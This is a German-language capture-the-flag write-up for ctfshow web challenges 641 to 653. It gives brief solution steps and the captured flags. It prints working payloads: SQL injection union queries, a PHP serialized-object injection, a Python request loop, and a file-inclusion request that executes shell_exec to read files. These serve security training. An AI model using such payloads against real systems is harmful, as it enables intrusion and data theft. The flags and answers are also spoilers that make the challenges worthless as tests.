Besserer Lerneffekt mit Skript
web641
im Request-Header
web642
Die Homepage sieht den sensiblen Pfad und das Paket wird erfasst, um das Flag zu erhalten.
web643
Rufen Sie den Befehl ls über die Netzwerktestfunktion auf, um die Datei secret.txt anzuzeigen und das Flag nach der URL-Decodierung abzurufen
web644
Es gibt einen Pfad im CSS der Homepage. Wechseln Sie nach
dem Besuch zur Anmeldeschnittstelle
. Überprüfen Sie das js, um das Flag und das Anmeldekennwort (0x36d) zu erhalten.
web645
Nachdem die Sicherungsfunktion heruntergeladen wurde, können Sie die Flagge sehen
flag_645=ctfshow{28b00f799c2e059bafaa1d6bda138d89}
web646
Holen Sie sich den Quellcode jeder Datei über die Remote-Update-Funktion Holen Sie sich das
Flag in init.php
web647
Bei der Analyse der users.php stellt sich heraus, dass folgende Bedingungen erfüllt sein müssen, um 647flag zu erhalten:
Sie können eine Methode ohne Parameter aufrufen, solange der Rückgabewert der Methode 372619038 ist.
Denken Sie daran, eine Sitzung zu öffnen, dann können wir session_id aufrufen und dann den Wert von phpsessid ändern.
flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
web648
Schlüsselfunktion
function evilClass($m,$k) {
class ctfshow {
public $m;
public function construct($m) {
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat \/FLAG\/FLAG647')) {
echo shell_exec('cat \/FLAG\/FLAG648');
} else {
echo 'mmmmm?';
}
}
Übergeben Sie einfach m und dann den Wert 647 für den Schlüssel.
payload:
system36d/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}
flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}
web649
Ich habe die Methode getArray() ausprobiert und festgestellt, dass der vom Index 18 generierte Wertebereich nicht groß ist und jedes Mal nahe bei 18 liegt.Natürlich sind auch andere möglich.
Nutzlast
import requests
url="http://aaadafd2-5e71-4dbf-b257-60eb106c3648.challenge.ctf.show:8080/system36d/users.php?action=evilNumber&m=18&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}"
while True:
r=requests.get(url)
if "ctf" in r.text:
print(r.text)
break
flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
web650
Gleiche Nutzlast wie 647 :
url/system36d/users.php?action=evilFunction&m=session_id&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}
flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
web651
<?php
class a{
public $username='123';
public $x="ctfshow";
}
$a=new a();
echo serialize($a);
Nutzlast:
?action=evilArray&m=O:1:"a":2:{s:8:"username";s:3:"123";s:7:"ctfshow";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}
flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
web652
Es gibt eine SQL-Injection
in util/dbutil.php und die Payload der Abfragefunktion
wird in page.php aufgerufen:
page.php?id=0) union select secret from ctfshow_secret%23
flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}
web653
Holen Sie sich die Schlüsselnutzlast unter ctfshow_keys auf die gleiche Weise
:
page.php?id=0) union select `key` from ctfshow_keys%23
Holen Sie sich den Schlüssel: key_is_here_you_know
wird gefolgt von der Verwendung von gemeinsamen Dateien zum Einschließen
system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}
post:
key=key_is_here_you_know&file=../db/data_you_never_know.db&1=echo shell_exec('cat /s*');
flag_653=ctfshow{5526710eb3ed7b4742232d6d6f9ee3a9}